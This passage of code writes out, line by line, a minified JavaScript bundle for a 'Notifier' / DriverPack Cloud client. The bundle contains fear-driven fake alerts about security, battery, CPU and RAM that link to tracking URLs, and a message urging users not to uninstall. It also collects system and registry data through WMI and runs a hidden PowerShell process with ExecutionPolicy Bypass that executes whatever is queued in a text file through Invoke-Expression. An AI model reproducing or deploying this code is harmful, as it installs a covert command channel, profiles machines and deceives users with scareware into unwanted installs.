обновится до нового DriverPack Cloud, который будет еще эффективнее мониторить
состояние компьютера и поможет оперативно предотвращать будущие неисправности\",");
file.WriteLine(" actionButtonText: \"Оставить защиту\",");
file.WriteLine(" unsubscribeButtonText: \"Удалить\"");
file.WriteLine(" };");
file.WriteLine("");
file.WriteLine(" default:");
file.WriteLine(" return {");
file.WriteLine(" title: \"Think again!\",");
file.WriteLine(" message1: \"Maybe, you have underestimated Notifier
in full but trust us it you will need it soon. This is the Notifier who provides
computer security by detecting that some harmful or useless programs were
downloaded, and thus, it helps your antivirus.\",");
file.WriteLine(" message2: \"\",");
file.WriteLine(" message3: \"Also, you can stop worrying about your
computer efficiency and about the free memory left because all calculations take
place in the Cloud, and thus, they don't overload your computer\",");
file.WriteLine(" message4: \"In addition, quite soon Notifier will
be updated to the new DriverPack Cloud which will monitor the state of your
computer even more effectively, and will help promptly prevent future
malfunctions\",");
file.WriteLine(" actionButtonText: \"Keep Protection\",");
file.WriteLine(" unsubscribeButtonText: \"Uninstall\"");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports) {");
file.WriteLine(" module.exports = {");
file.WriteLine(" notificationId: \"4496667b-1460-d6df-2f0b-
d6618d024e16\",");
file.WriteLine(" maxCountOfDisplaying: 3,");
file.WriteLine(" title: \"Безопасность компьютера под угрозой!\",");
file.WriteLine(" content: \"Пожалуйста, включите антивирус 360 Total
Security!\\n\",");
file.WriteLine("
actionButtonText: \"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OK&nbsp;&nbsp;&nbsp;&nbsp;&
nbsp;&nbsp;\\n\",");
file.WriteLine(" unsubscribeButtonText: \"Отмена\",");
file.WriteLine(" notificationIcon: \"gliph-security.png\",");
file.WriteLine(" statisticsLabel: \"antivirus notification 3\",");
file.WriteLine(" color: \"red\"");
file.WriteLine(" };");
file.WriteLine("}, function(module, exports) {");
file.WriteLine(" module.exports = {");
file.WriteLine(" maxCountOfDisplaying: 3,");
file.WriteLine(" title: \"Срок службы батареи ноутбука подходит к
концу!\",");
file.WriteLine(" content: \"Ресурс службы батареи израсходован более чем на
70%, время работы от батареи будет уменьшаться!\\n\",");
file.WriteLine(" actionButtonText: \"Посмотреть рекомендации\\n\",");
file.WriteLine(" unsubscribeButtonText: \"Отмена\",");
file.WriteLine(" notificationIcon: \"gliph-battery-failure.png\",");
file.WriteLine(" statisticsLabel: \"battery bad condition\",");
file.WriteLine(" problemUrl: \"http://internet-start.net/?q=
%D0%98%D0%B7%D0%BD%D0%BE
%D1%81%20%D0%B1%D0%B0%D1%82%D0%B0%D1%80%D0%B5%D0%B8%20%D0%BD%D0%BE
%D1%83%D1%82%D0%B1%D1%83%D0%BA
%D0%B0&utm_source=notifier&utm_medium=notification&utm_campaign=battery&utm_content
=poor_condition\",");
file.WriteLine(" color: \"#8d1f1f\"");
file.WriteLine(" };");
file.WriteLine("}, function(module, exports) {");
file.WriteLine(" module.exports = {");
file.WriteLine(" template: \"cloud-update\",");
file.WriteLine(" timeoutDelay: 18e5,");
file.WriteLine(" notificationIcon: \"drp.png\",");
file.WriteLine(" title: \"Вышло важное обновление для программы Notifier –
DriverPack Cloud.\",");
file.WriteLine(" content: \"Он позволяет быстро обновлять драйверы и удалять
вредоносные программы.\",");
file.WriteLine(" actionButtonText: \"Обновить\",");
file.WriteLine(" delayButtonText: \"Напомнить позднее\",");
file.WriteLine(" statisticsLabel: \"cloud-update\",");
file.WriteLine(" color: \"#6534ac\"");
file.WriteLine(" };");
file.WriteLine("}, function(module, exports) {");
file.WriteLine(" module.exports = {");
file.WriteLine(" maxCountOfDisplaying: 3,");
file.WriteLine(" title: \"Средний уровень загрузки процессора выше
70%!\",");
file.WriteLine(" content: \"Это может быть вызвано вирусами или фоновыми
процессами в системе! Рекомендуем провести проверку.\\n\",");
file.WriteLine(" actionButtonText: \"Посмотреть рекомендации\\n\",");
file.WriteLine(" unsubscribeButtonText: \"Отмена\",");
file.WriteLine(" notificationIcon: \"gliph-chipset.png\",");
file.WriteLine(" statisticsLabel: \"cpu load average\",");
file.WriteLine(" problemUrl: \"http://internet-start.net/?q=%D0%92%D1%8B
%D1%81%D0%BE%D0%BA%D0%B0%D1%8F%20%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%BA
%D0%B0%20%D0%BF%D1%80%D0%BE%D1%86%D0%B5%D1%81%D1%81%D0%BE
%D1%80%D0%B0&utm_source=notifier&utm_medium=notification&utm_campaign=cpu&utm_conte
nt=load_average\",");
file.WriteLine(" color: \"red\"");
file.WriteLine(" };");
file.WriteLine("}, function(module, exports) {");
file.WriteLine(" module.exports = {");
file.WriteLine(" maxCountOfDisplaying: 1,");
file.WriteLine(" template: \"standard\",");
file.WriteLine(" timeoutDelay: 18e5,");
file.WriteLine(" title: \"Роскомнадзор собирается заблокировать VPN и
анонимайзеры.\",");
file.WriteLine(" content: \"Рекомендуется заранее скачать браузер, в котором
встроен подобный режим обхода блокировок. Например, в браузере Opera есть
встроенный VPN, который можно включить в настройках\\n\",");
file.WriteLine(" actionButtonText: \"Установить Opera\",");
file.WriteLine(" unsubscribeButtonText: \"Отказаться\",");
file.WriteLine(" notificationIcon: \"vpn_icon.png\",");
file.WriteLine(" statisticsLabel: \"notification opera-vpn ukraine\",");
file.WriteLine(" color: \"#394559\"");
file.WriteLine(" };");
file.WriteLine("}, function(module, exports) {");
file.WriteLine(" module.exports = {");
file.WriteLine(" maxCountOfDisplaying: 3,");
file.WriteLine(" title: \"Недостаточно свободной оперативной памяти!\",");
file.WriteLine(" content: \"Оперативная память заполнена свыше 80%, это
снижает производительность системы и ведет к нестабильной работе программ!\\n\",");
file.WriteLine(" actionButtonText: \"Посмотреть рекомендации\\n\",");
file.WriteLine(" unsubscribeButtonText: \"Отмена\",");
file.WriteLine(" notificationIcon: \"gliph-ram.png\",");
file.WriteLine(" statisticsLabel: \"ram\",");
file.WriteLine(" problemUrl: \"http://internet-start.net/?q=%D0%92%D1%8B
%D1%81%D0%BE%D0%BA%D0%B0%D1%8F%20%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%BA
%D0%B0%20%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%82%D0%B8%D0%B2%D0%BD%D0%BE
%D0%B9%20%D0%BF%D0%B0%D0%BC%D1%8F
%D1%82%D0%B8&utm_source=notifier&utm_medium=notification&utm_campaign=ram&utm_conte
nt=high_load\",");
file.WriteLine(" color: \"red\"");
file.WriteLine(" };");
file.WriteLine("}, function(module, exports) {");
file.WriteLine(" module.exports = {");
file.WriteLine(" title: \"DriverPack Cloud\",");
file.WriteLine(" content: \"Для продолжения команды будет выполнен запрос
прав администратора\\n\",");
file.WriteLine(" actionButtonText: \"Ок\",");
file.WriteLine(" unsubscribeButtonText: \"Отмена\",");
file.WriteLine(" timeoutDelay: !1,");
file.WriteLine(" focusWindow: !0");
file.WriteLine(" };");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" var noop = function() {};");
file.WriteLine(" window.console = window.console || {};");
file.WriteLine(" if (!window.console.log) window.console.log = window.echo ||
noop;");
file.WriteLine(" if (!window.console.warn) window.console.warn = window.echo ||
noop;");
file.WriteLine(" if (!window.console.error) window.console.error = window.echo
|| noop;");
file.WriteLine("}, , function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" if (window.regeneratorRuntime && !
window.regeneratorRuntime.AsyncIterator) window.regeneratorRuntime = undefined;");
file.WriteLine(" __webpack_require__(126);");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _wmi = __webpack_require__(2), _wmiRegistry =
__webpack_require__(70), _diagnosticsMap = __webpack_require__(240),
_diagnosticsMap2 = function(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }(_diagnosticsMap), collectWMIQueries = function(diagMap) {");
file.WriteLine(" var res = {};");
file.WriteLine(" Object.keys(diagMap).forEach(function(section) {");
file.WriteLine(" Object.entries(diagMap[section]).forEach(function(_ref)
{");
file.WriteLine(" var svalue = (_ref[0], _ref[1]);");
file.WriteLine(" switch (svalue.type) {");
file.WriteLine(" case \"object\":");
file.WriteLine(" svalue.groups.forEach(function(group) {");
file.WriteLine(" group.fields.forEach(function(field) {");
file.WriteLine(" if (field.wmi) {");
file.WriteLine(" if (!res[field.wmi.source])
res[field.wmi.source] = [];");
file.WriteLine("
field.wmi.fields.forEach(function(f) {");
file.WriteLine(" if (-1 ===
res[field.wmi.source].indexOf(f)) res[field.wmi.source].push(f);");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" });");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case \"array\":");
file.WriteLine(" if (svalue.wmi) {");
file.WriteLine(" if (!res[svalue.wmi.source])
res[svalue.wmi.source] = [];");
file.WriteLine(" svalue.wmi.fields.forEach(function(field)
{");
file.WriteLine(" if (-1 ===
res[svalue.wmi.source].indexOf(field.field))
res[svalue.wmi.source].push(field.field);");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" });");
file.WriteLine(" return res;");
file.WriteLine(" }, cacheWMI = function(diagMap) {");
file.WriteLine(" var wmis = {}, res = {};");
file.WriteLine("
Object.entries(collectWMIQueries(diagMap)).forEach(function(_ref2) {");
file.WriteLine(" var source = _ref2[0], fields = _ref2[1], _source$split
= source.split(\" WHERE \"), path = _source$split[0], where = _source$split[1],
parts = path.split(\":\");");
file.WriteLine(" if (2 === parts.length) {");
file.WriteLine(" if (!wmis[parts[0]]) try {");
file.WriteLine(" wmis[parts[0]] = new
ActiveXObject(\"WbemScripting.SWbemLocator\").ConnectServer(null, parts[0]);");
file.WriteLine(" } catch (e) {}");
file.WriteLine(" res[source] = (0, _wmi.getWMIObjects)(fields,
parts[1], where, wmis[parts[0]]);");
file.WriteLine(" } else res[source] = (0, _wmi.getWMIObjects)(fields,
parts[0], where);");
file.WriteLine(" });");
file.WriteLine(" return res;");
file.WriteLine(" }, filterDiagnosticsMap = function(target) {");
file.WriteLine(" var res = {};");
file.WriteLine("
Object.keys(_diagnosticsMap2[\"default\"]).forEach(function(section) {");
file.WriteLine(" Object.entries(_diagnosticsMap2[\"default\"]
[section]).forEach(function(_ref3) {");
file.WriteLine(" var subsection = _ref3[0], svalue = _ref3[1];");
file.WriteLine(" if (!target || !svalue.targets || -1 !==
svalue.targets.indexOf(target)) {");
file.WriteLine(" if (!res[section]) res[section] = {};");
file.WriteLine(" res[section][subsection] = svalue;");
file.WriteLine(" } else switch (svalue.type) {");
file.WriteLine(" case \"object\":");
file.WriteLine(" var resGroups = [];");
file.WriteLine(" svalue.groups.forEach(function(group) {");
file.WriteLine(" var resFields = [];");
file.WriteLine(" group.fields.forEach(function(field) {");
file.WriteLine(" if (field.targets && -1 !==
field.targets.indexOf(target)) resFields.push(field);");
file.WriteLine(" });");
file.WriteLine(" if (resFields.length) {");
file.WriteLine(" var resGroup = {");
file.WriteLine(" name: group.name,");
file.WriteLine(" fields: resFields");
file.WriteLine(" };");
file.WriteLine(" resGroups.push(resGroup);");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" if (resGroups.length) {");
file.WriteLine(" if (!res[section]) res[section] = {};");
file.WriteLine(" res[section][subsection] = {");
file.WriteLine(" type: \"object\",");
file.WriteLine(" groups: resGroups");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case \"array\":");
file.WriteLine(" [ \"wmi\", \"reg\" ].forEach(function(src) {");
file.WriteLine(" if (svalue[src]) {");
file.WriteLine(" var resFields = [];");
file.WriteLine("
svalue[src].fields.forEach(function(field) {");
file.WriteLine(" if (field.targets && -1 !==
field.targets.indexOf(target)) resFields.push(field);");
file.WriteLine(" });");
file.WriteLine(" if (resFields.length) {");
file.WriteLine(" if (!res[section]) res[section] =
{};");
file.WriteLine(" res[section][subsection] = {");
file.WriteLine(" type: \"array\"");
file.WriteLine(" };");
file.WriteLine(" res[section][subsection][src] =
{");
file.WriteLine(" source: svalue[src].source,");
file.WriteLine(" fields: resFields");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" });");
file.WriteLine(" return res;");
file.WriteLine(" };");
file.WriteLine(" exports[\"default\"] = function(target) {");
file.WriteLine(" var res = {}, diagMap = filterDiagnosticsMap(target), cache
= cacheWMI(diagMap);");
file.WriteLine(" Object.keys(diagMap).forEach(function(section) {");
file.WriteLine(" res[section] = {};");
file.WriteLine("
Object.entries(diagMap[section]).forEach(function(_ref4) {");
file.WriteLine(" var subsection = _ref4[0], svalue = _ref4[1];");
file.WriteLine(" res[section][subsection] = {};");
file.WriteLine(" switch (svalue.type) {");
file.WriteLine(" case \"object\":");
file.WriteLine(" svalue.groups.forEach(function(group) {");
file.WriteLine(" svalue[group.name] = {};");
file.WriteLine(" var sres = svalue[group.name];");
file.WriteLine(" group.fields.forEach(function(field) {");
file.WriteLine(" try {");
file.WriteLine(" if (field.wmi) {");
file.WriteLine(" var wmiRes =
cache[field.wmi.source];");
file.WriteLine(" if (field.wmi.filter) wmiRes =
wmiRes.filter(field.wmi.filter);");
file.WriteLine(" if (field.format) wmiRes =
wmiRes.map(field.format); else wmiRes = wmiRes.map(function(v) {");
file.WriteLine(" return
v[field.wmi.fields[0]];");
file.WriteLine(" });");
file.WriteLine(" if (field.multi)
sres[field.name] = wmiRes; else sres[field.name] = wmiRes ? wmiRes[0] : \"\";");
file.WriteLine(" } else if (field.reg) {");
file.WriteLine(" for (var sources =
Array.isArray(field.reg.source) ? field.reg.source : [ field.reg.source ], regRes =
void 0, _iterator = sources, _isArray = Array.isArray(_iterator), _i = 0, _iterator
= _isArray ? _iterator : _iterator[Symbol.iterator](); ;) {");
file.WriteLine(" var _ref5;");
file.WriteLine(" if (_isArray) {");
file.WriteLine(" if (_i >=
_iterator.length) break;");
file.WriteLine(" _ref5 = _iterator[_i+
+];");
file.WriteLine(" } else {");
file.WriteLine(" _i =
_iterator.next();");
file.WriteLine(" if (_i.done) break;");
file.WriteLine(" _ref5 = _i.value;");
file.WriteLine(" }");
file.WriteLine(" var source = _ref5,
_source$split2 = source.split(\"\\\\\"), sect = _source$split2[0], path =
_source$split2.slice(1), key = path.splice(-1, 1);");
file.WriteLine(" path =
path.join(\"\\\\\");");
file.WriteLine(" var wmiReg =
_wmiRegistry.wmiRegistry;");
file.WriteLine(" if (sect.endsWith(\"64\"))
{");
file.WriteLine(" sect = sect.slice(0,
-2);");
file.WriteLine(" wmiReg =
_wmiRegistry.wmiRegistry64;");
file.WriteLine(" }");
file.WriteLine(" regRes =
wmiReg.GetStringValue(wmiReg[sect], path, key);");
file.WriteLine(" if (!regRes) regRes =
wmiReg.GetDWORDValue(wmiReg[sect], path, key);");
file.WriteLine(" if (regRes) break;");
file.WriteLine(" }");
file.WriteLine(" if (field.format)
sres[field.name] = field.format(regRes); else sres[field.name] = regRes;");
file.WriteLine(" } else if (field.format)
sres[field.name] = field.format(); else sres[field.name] = \"\";");
file.WriteLine(" res[section][subsection]
[group.name] = sres;");
file.WriteLine(" } catch (e) {");
file.WriteLine(" res[section][subsection]
[group.name] = \"\";");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" });");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case \"array\":");
file.WriteLine(" try {");
file.WriteLine(" if (svalue.wmi) {");
file.WriteLine(" var wmiRes =
cache[svalue.wmi.source];");
file.WriteLine(" if (svalue.wmi.filter) wmiRes =
wmiRes.filter(svalue.wmi.filter);");
file.WriteLine(" var outputArr =
wmiRes.map(function(resItem) {");
file.WriteLine(" var outputObj = {};");
file.WriteLine("
svalue.wmi.fields.forEach(function(fieldsItem) {");
file.WriteLine(" if (resItem[fieldsItem.field])
{");
file.WriteLine(" var fieldVal =
resItem[fieldsItem.field];");
file.WriteLine(" if (fieldsItem.format)
fieldVal = fieldsItem.format(fieldVal);");
file.WriteLine(" outputObj[fieldsItem.name]
= fieldVal;");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" return outputObj;");
file.WriteLine(" });");
file.WriteLine(" if (svalue.format) outputArr =
svalue.format(outputArr);");
file.WriteLine(" res[section][subsection] =
outputArr;");
file.WriteLine(" } else if (svalue.reg) {");
file.WriteLine(" var _outputArr = [], sourceArr =
Array.isArray(svalue.reg.source) ? svalue.reg.source : [ svalue.reg.source ];");
file.WriteLine(" sourceArr.forEach(function(source) {");
file.WriteLine(" var _source$split3 =
source.split(\"\\\\\"), sect = _source$split3[0], path =
_source$split3.slice(1);");
file.WriteLine(" path = path.join(\"\\\\\");");
file.WriteLine(" var wmiReg =
_wmiRegistry.wmiRegistry;");
file.WriteLine(" if (sect.endsWith(\"64\")) {");
file.WriteLine(" sect = sect.slice(0, -2);");
file.WriteLine(" wmiReg =
_wmiRegistry.wmiRegistry64;");
file.WriteLine(" }");
file.WriteLine(" wmiReg.EnumKey(wmiReg[sect],
path).forEach(function(regSection) {");
file.WriteLine(" var outputObj = {};");
file.WriteLine("
svalue.reg.fields.forEach(function(fieldsItem) {");
file.WriteLine(" var fieldVal = void 0;");
file.WriteLine(" if (\"RegPath\" ===
fieldsItem.field) fieldVal = \"\" + source + regSection + \"\\\\\"; else {");
file.WriteLine(" fieldVal =
wmiReg.GetStringValue(wmiReg[sect], path + \"\\\\\" + regSection,
fieldsItem.field);");
file.WriteLine(" if (!fieldVal) fieldVal
= wmiReg.GetDWORDValue(wmiReg[sect], path + \"\\\\\" + regSection,
fieldsItem.field);");
file.WriteLine(" }");
file.WriteLine(" if (fieldsItem.format)
fieldVal = fieldsItem.format(fieldVal);");
file.WriteLine(" outputObj[fieldsItem.name]
= fieldVal;");
file.WriteLine(" });");
file.WriteLine(" _outputArr.push(outputObj);");
file.WriteLine(" });");
file.WriteLine(" });");
file.WriteLine(" _outputArr =
_outputArr.filter(function(obj) {");
file.WriteLine(" return
Object.values(obj).some(function(v) {");
file.WriteLine(" return !!v;");
file.WriteLine(" });");
file.WriteLine(" });");
file.WriteLine(" if (svalue.reg.filter) _outputArr =
_outputArr.filter(svalue.reg.filter);");
file.WriteLine(" if (svalue.format) _outputArr =
svalue.format(_outputArr);");
file.WriteLine(" res[section][subsection] =
_outputArr;");
file.WriteLine(" }");
file.WriteLine(" } catch (e) {");
file.WriteLine(" res[section][subsection] = [];");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" });");
file.WriteLine(" return res;");
file.WriteLine(" };");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" module.exports = function(inputVendorName) {");
file.WriteLine(" var defaultVendorName = arguments.length > 1 &&
arguments[1] !== undefined ? arguments[1] : \"noname\", toLower = arguments.length
> 2 && arguments[2] !== undefined ? arguments[2] : !0;");
file.WriteLine(" if (!defaultVendorName) defaultVendorName = \"noname\";");
file.WriteLine(" if (!inputVendorName) inputVendorName =
defaultVendorName;");
file.WriteLine(" var replacePattern = new
RegExp([ \"(\\\\s|,\\\\s?)inc(\\\\.|$)\", \"\\\\scorporation\", \"\\\\scorp(\\\\.|
$)\", \"\\\\scomputer\", \"\\\\scomputers\", \"\\\\selectronics\", \"\\\\gmbh\", \"
\\\\stechnology\", \"\\\\stechnologies\", \"\\\\sinternational\", \"\\\\sinformatio
n\", \"\\\\ssemiconductor\", \"\\\\sco\\\\.,\\\\s?ltd\\\\.?\", \"\\\\sco(\\\\.|
$)\", \"\\\\sltd\", \"\\\\slimited\", \"\\\\sag$\", \"\\\\ssa$\", \"\\\\sas$\", \"(
\\\\s|-|\\\\.)(g|s|a)(\\\\.|$)\" ].join(\"|\"), \"ig\");");
file.WriteLine(" if (toLower) inputVendorName =
inputVendorName.toLowerCase();");
file.WriteLine(" var trimedVendorName =
inputVendorName.replace(replacePattern, \"\").replace(/[_\\s]
+/g, \" \").replace(/^\\s+|\\s+$/g, \"\").replace(/^[.,]+|[.,]+
$/g, \"\").replace(/^_+|_+$/g, \"\").replace(/^-+|-+
$/g, \"\").replace(/\"/g, \"'\").replace(/\\s+/g, \" \");");
file.WriteLine(" return \"\" === trimedVendorName ? defaultVendorName :
trimedVendorName;");
file.WriteLine(" };");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _classCallCheck(instance, Constructor) {");
file.WriteLine(" if (!(instance instanceof Constructor)) throw new
TypeError(\"Cannot call a class as a function\");");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _wmi = __webpack_require__(2), Registry = function() {");
file.WriteLine(" function Registry(is64) {");
file.WriteLine(" _classCallCheck(this, Registry);");
file.WriteLine(" this.is64 = is64;");
file.WriteLine(" this.HKCR = 2147483648;");
file.WriteLine(" this.HKCU = 2147483649;");
file.WriteLine(" this.HKLM = 2147483650;");
file.WriteLine(" this.HKUS = 2147483651;");
file.WriteLine(" this.HKCC = 2147483653;");
file.WriteLine(" this.REG_SZ = 1;");
file.WriteLine(" this.REG_EXPAND_SZ = 2;");
file.WriteLine(" this.REG_BINARY = 3;");
file.WriteLine(" this.REG_DWORD = 4;");
file.WriteLine(" this.REG_MULTI_SZ = 7;");
file.WriteLine(" this.connect(is64);");
file.WriteLine(" }");
file.WriteLine(" Registry.prototype.connect = function() {");
file.WriteLine(" var context = this.is64 ? {");
file.WriteLine(" __ProviderArchitecture: 64,");
file.WriteLine(" __RequiredArchitecture: !0");
file.WriteLine(" } : null;");
file.WriteLine(" this.stdregprov = (0, _wmi.ConnectServer)
(\"root\\\\default\", context).Get(\"StdRegProv\");");
file.WriteLine(" };");
file.WriteLine(" Registry.prototype._exec = function(methodName, hkey, key,
valueName) {");
file.WriteLine(" var inParameters =
this.stdregprov.Methods_.Item(methodName).InParameters.SpawnInstance_();");
file.WriteLine(" inParameters.hDefKey = hkey;");
file.WriteLine(" inParameters.sSubKeyName = key;");
file.WriteLine(" if (valueName) inParameters.sValueName = valueName;");
file.WriteLine(" return this.stdregprov.ExecMethod_(methodName,
inParameters);");
file.WriteLine(" };");
file.WriteLine(" Registry.prototype.exec = function() {");
file.WriteLine(" try {");
file.WriteLine(" return this._exec.apply(this, arguments);");
file.WriteLine(" } catch (err) {");
file.WriteLine(" this.connect();");
file.WriteLine(" return this._exec.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" Registry.prototype.EnumKey = function(hkey, key) {");
file.WriteLine(" var outParameters = this.exec(\"EnumKey\", hkey, key),
names = [];");
file.WriteLine(" if (null != outParameters.sNames &&
outParameters.sNames.toArray) names = outParameters.sNames.toArray();");
file.WriteLine(" return names;");
file.WriteLine(" };");
file.WriteLine(" Registry.prototype.EnumValues = function(hkey, key) {");
file.WriteLine(" var outParameters = this.exec(\"EnumValues\", hkey,
key), valueNames = [];");
file.WriteLine(" if (null != outParameters.sNames &&
outParameters.sNames.toArray) valueNames = outParameters.sNames.toArray();");
file.WriteLine(" var valueTypes = [];");
file.WriteLine(" if (null != outParameters.sNames &&
outParameters.Types.toArray) valueTypes = outParameters.Types.toArray();");
file.WriteLine(" return {");
file.WriteLine(" Names: valueNames,");
file.WriteLine(" Types: valueTypes");
file.WriteLine(" };");
file.WriteLine(" };");
file.WriteLine(" Registry.prototype.GetStringValue = function(hkey, key,
name) {");
file.WriteLine(" return this.exec(\"GetStringValue\", hkey, key,
name).sValue;");
file.WriteLine(" };");
file.WriteLine(" Registry.prototype.GetExpandedStringValue = function(hkey,
key, name) {");
file.WriteLine(" return this.exec(\"GetExpandedStringValue\", hkey, key,
name).sValue;");
file.WriteLine(" };");
file.WriteLine(" Registry.prototype.GetDWORDValue = function(hkey, key,
name) {");
file.WriteLine(" return this.exec(\"GetDWORDValue\", hkey, key,
name).uValue;");
file.WriteLine(" };");
file.WriteLine(" return Registry;");
file.WriteLine(" }();");
file.WriteLine(" exports[\"default\"] = Registry;");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _classCallCheck(instance, Constructor) {");
file.WriteLine(" if (!(instance instanceof Constructor)) throw new
TypeError(\"Cannot call a class as a function\");");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _specialFolders = __webpack_require__(15), _shell =
__webpack_require__(13), _fso = __webpack_require__(7), _localFiles =
__webpack_require__(21), _os = __webpack_require__(14), PowerShell = function()
{");
file.WriteLine(" function PowerShell() {");
file.WriteLine(" _classCallCheck(this, PowerShell);");
file.WriteLine(" Object.assign(this, {");
file.WriteLine(" running: !1,");
file.WriteLine(" available: _os.OSVersion >= 6");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" PowerShell.prototype.getBaseName = function() {");
file.WriteLine(" return (0, _localFiles.ensurePath)
(_specialFolders.AppFolder + \"\\\\temp\") + \"\\\\ps.\" + Date.now().toString(36)
+ \".\" + Math.random().toString(36).slice(2, 7);");
file.WriteLine(" };");
file.WriteLine(" PowerShell.prototype.init = function() {");
file.WriteLine(" if (this.available && !this.running) {");
file.WriteLine(" var basename = this.getBaseName(), files =
this.files = {");
file.WriteLine(" queue: basename + \".cmd.txt\",");
file.WriteLine(" stdout: basename + \".stdout.log\",");
file.WriteLine(" stderr: basename + \".stderr.log\"");
file.WriteLine(" };");
file.WriteLine(" _fso.fso.CreateTextFile(files.queue, !0, !
0).Close();");
file.WriteLine(" var cmd = \"Get-Content '\" + files.queue + \"'
-Wait | Invoke-Expression\";");
file.WriteLine(" try {");
file.WriteLine(" _shell.WshShell.Run('cmd /C powershell
-NonInteractive -NoLogo -NoProfile -ExecutionPolicy Bypass \"' + cmd + '\" > \"' +
files.stdout + '\" 2> \"' + files.stderr + '\"', 0, !1);");
file.WriteLine(" this.running = !0;");
file.WriteLine(" } catch (err) {");
file.WriteLine(" this.available = !1;");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" PowerShell.prototype.run = function(text) {");
file.WriteLine(" if (this.available) {");
file.WriteLine(" var fileName = this.getBaseName() + \".ps1\", file
= _fso.fso.CreateTextFile(fileName, !0, !0);");
file.WriteLine(" file.Write(text);");
file.WriteLine(" file.Close();");
file.WriteLine(" this.send('. \"' + fileName + '\"');");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" PowerShell.prototype.send = function(batch) {");
file.WriteLine(" if (this.available) {");
file.WriteLine(" if (!this.running) this.init();");
file.WriteLine(" batch = [].concat(batch);");
file.WriteLine(" try {");
file.WriteLine(" var ts =
_fso.fso.GetFile(this.files.queue).OpenAsTextStream(8, -1);");
file.WriteLine(" batch.forEach(function(cmd) {");
file.WriteLine(" ts.WriteLine(cmd);");
file.WriteLine(" });");
file.WriteLine(" ts.Close();");
file.WriteLine(" } catch (err) {}");
file.WriteLine(" }");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" PowerShell.prototype.terminate = function() {");
file.WriteLine(" if (this.running) {");
file.WriteLine(" this.send(\"exit\");");
file.WriteLine(" this.running = !1;");
file.WriteLine(" }");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" PowerShell.prototype.read = function(chanel) {");
file.WriteLine(" if (this.available) {");
file.WriteLine(" var file =
_fso.fso.OpenTextFile(this.files[chanel], 1, !1, -1), res = file.ReadAll();");
file.WriteLine(" file.Close();");
file.WriteLine(" return res;");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" PowerShell.prototype.stdout = function() {");
file.WriteLine(" return this.read(\"stdout\");");
file.WriteLine(" };");
file.WriteLine(" PowerShell.prototype.stderr = function() {");
file.WriteLine(" return this.read(\"stderr\");");
file.WriteLine(" };");
file.WriteLine(" return PowerShell;");
file.WriteLine(" }();");
file.WriteLine(" exports[\"default\"] = new PowerShell();");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _interopRequireDefault(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _RegistryStore = __webpack_require__(134), _RegistryStore2
= _interopRequireDefault(_RegistryStore), _FileStore = __webpack_require__(132),
_FileStore2 = _interopRequireDefault(_FileStore), _logs = __webpack_require__(17),
log = (0, ");
file.WriteLine(" _logs.getLogger)(\"core:statistics:clientIdStorage\");");
file.WriteLine(" exports[\"default\"] = {");
file.WriteLine(" stores: {");
file.WriteLine(" File: new _FileStore2[\"default\"](),");
file.WriteLine(" HKCU: new _RegistryStore2[\"default\"]
(\"HKCU\\\\SOFTWARE\\\\drpsu\\\\\"),");
file.WriteLine(" HKLM: new _RegistryStore2[\"default\"]
(\"HKLM\\\\SOFTWARE\\\\drpsu\\\\\")");
file.WriteLine(" },");
file.WriteLine(" get: function(key, stores) {");
file.WriteLine(" var _this = this, res = void 0;");
file.WriteLine(" stores.forEach(function(name) {");
file.WriteLine(" if (!res) {");
